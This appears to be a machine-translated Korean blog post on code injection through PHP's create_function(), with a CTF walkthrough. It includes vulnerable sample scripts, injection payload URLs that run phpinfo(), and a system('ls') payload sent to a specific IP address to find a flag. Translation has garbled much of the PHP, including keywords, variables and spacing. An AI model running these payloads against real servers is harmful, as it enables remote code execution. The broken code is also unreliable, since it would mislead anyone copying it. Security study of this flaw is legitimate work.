create_function () 코드 주입

() 함수 소개 00x00create_function

PHP 4> = 4.0.1범위 : PHP 5,,PHP 7

기능 : 전달 된 매개 변수에 따라 익명 함수를 만들고 고유 한 이름을 반환합니다.

구문 :

create_function ( 문자열  $의 인수 , 문자열  $ 코드 )
 // 함수 선언 변수 $ 문자열의 인수 부 
방법 // 코드 부에 의해 실행되는 문자열 $ 코드

0x01로는 기능 분석하기

경우

<? PHP는
 $의 newfunc = create_function ( '$ A, B를 $ ","복귀 "LN ($ a) + (LN)의 ($ b) ="로그 ($는 * $의 B). " );
에코 "새로운 익명 함수 $의 newfunc의 \ n을을" ;
에코  $ newfunc (2, M_E). "\ n을" ;
?>

create_function()익명 함수 (작성 lambda양식)

create_function () 함수가 평가 () 내에서 실행되고 , 우리의 구현의 후면 발견 return에 속하는 명세서 create_function()에서 두번째 인수 string $code총수.

따라서 create_function 함수에 상당

<? PHP의
 함수 lambda1 ( $ A , $의 B ) {
      "LN ( $ A ) + (LN) ( $의 B ) =". 로그 ( $ A *의 $의 B ); 
}
 ?>

0x03으로 구현 코드 주입 케이스

사례 I :

<? PHP의
 error_reporting은 (0 );
$ sort_by = $ _GET [ 'sort_by' ];
$ 분류기 = 'strnatcasecmp' ;
$ 데이터베이스 = 배열 ( '1234', '4321' );
$ sort_function = '반환 한 *'. $ 분류기 . '($ A [ "". $의 sort_by . ", $ B를 [" ". $의 sort_by '. ']);' ;
에 usort ( $ 데이터베이스 , create_function ( '$의 A, B를 $' $ sort_function ));
?>

payload건축 :

HTTP : // localhost를 / 테스트 / 1.php sort_by = ' "]);}은 phpinfo (); / *?

조합 실제 환원 공정 :

$ sort_function = '반환 한 *'. $ 분류기 . '($ A [ "". $의 sort_by ' "])}은 phpinfo (); / *

익명 함수의 실제 구현 :

함수 niming ( $ A , $의 B ) {
  1 * '. $ 분류기. '( $ A [ "". $의 sort_by ' ']); 
}
은 phpinfo (); / * }

사례 2 :

<? PHP는
 $의 C = $ _GET [ 'C' ];
$ 람다 = create_function ( "나 strlen 창 (( '$ A, B를 $' $ A ) -strlen ( $의 B ) +" "나 strlen (. $의 C ));" );
$ 배열 = 배열 ( '이', 'midding lenth', 'larget' '여기 오래 문자열, 소년 reall' );
에 usort ( $ 배열 , 람다 달러 );
인 print_r ( $ 배열 );
?>

payload건축 :

HTTP : // 로컬 호스트 / 테스트 / 2.php C = 1))}은 phpinfo (); / *?

조합 실제 환원 공정 :

$ 람다 = create_function ( "나 strlen 창 (( '$ A, $의 B', $ A ) -strlen ( $의 B ) +" "나 strlen (1))}은 phpinfo (); / *).)");

익명 함수의 실제 구현 :

 함수 피트 ( $ A , $의 B ) {
      ( 나 strlen ( $ A ) - 나 strlen ( $의 B ) + "." 나 strlen (1))} 은 phpinfo (); / * )); 
 }

CTF의를 0x04의 create_function 코드 삽입이 있습니다

 

 주소 : http://198.13.45.199:5007/

두 링크, 링크는 PHP 소스가있는 페이지로 이동합니다 "나는 가리 키지 않습니다"를 클릭 http://198.13.45.199:5007/index.php?source

 

 create_function 함수를 참조,이 주입되어야한다

요청을 얻으려면, 그 코드 값을 전달하고 ","페이로드가 성공적으로 구축해야 닫을 수 있습니다

건설 페이로드 :

HTTP : // 198.13.45.199:5007/index.php?code=1;}phpinfo();/*

 

 성공적인 코드 실행

시스템 () 함수 명령은 시스템 동작을 수행

건설 페이로드 :

HTTP : // 198.13.45.199:5007/index.php?code=1;}system(%27ls%20../../../%27);/*

직선 차례와 LS 디렉토리, 플래그를 얻을 것이다 고양이를 엽니 다 플래그를 포함하는 파일의 이름까지 켜고 :

 

 

로부터 PHP 7.2.0시작, create_function()그것은 폐기

 

추천

출처www.cnblogs.com/-chenxs/p/11459374.html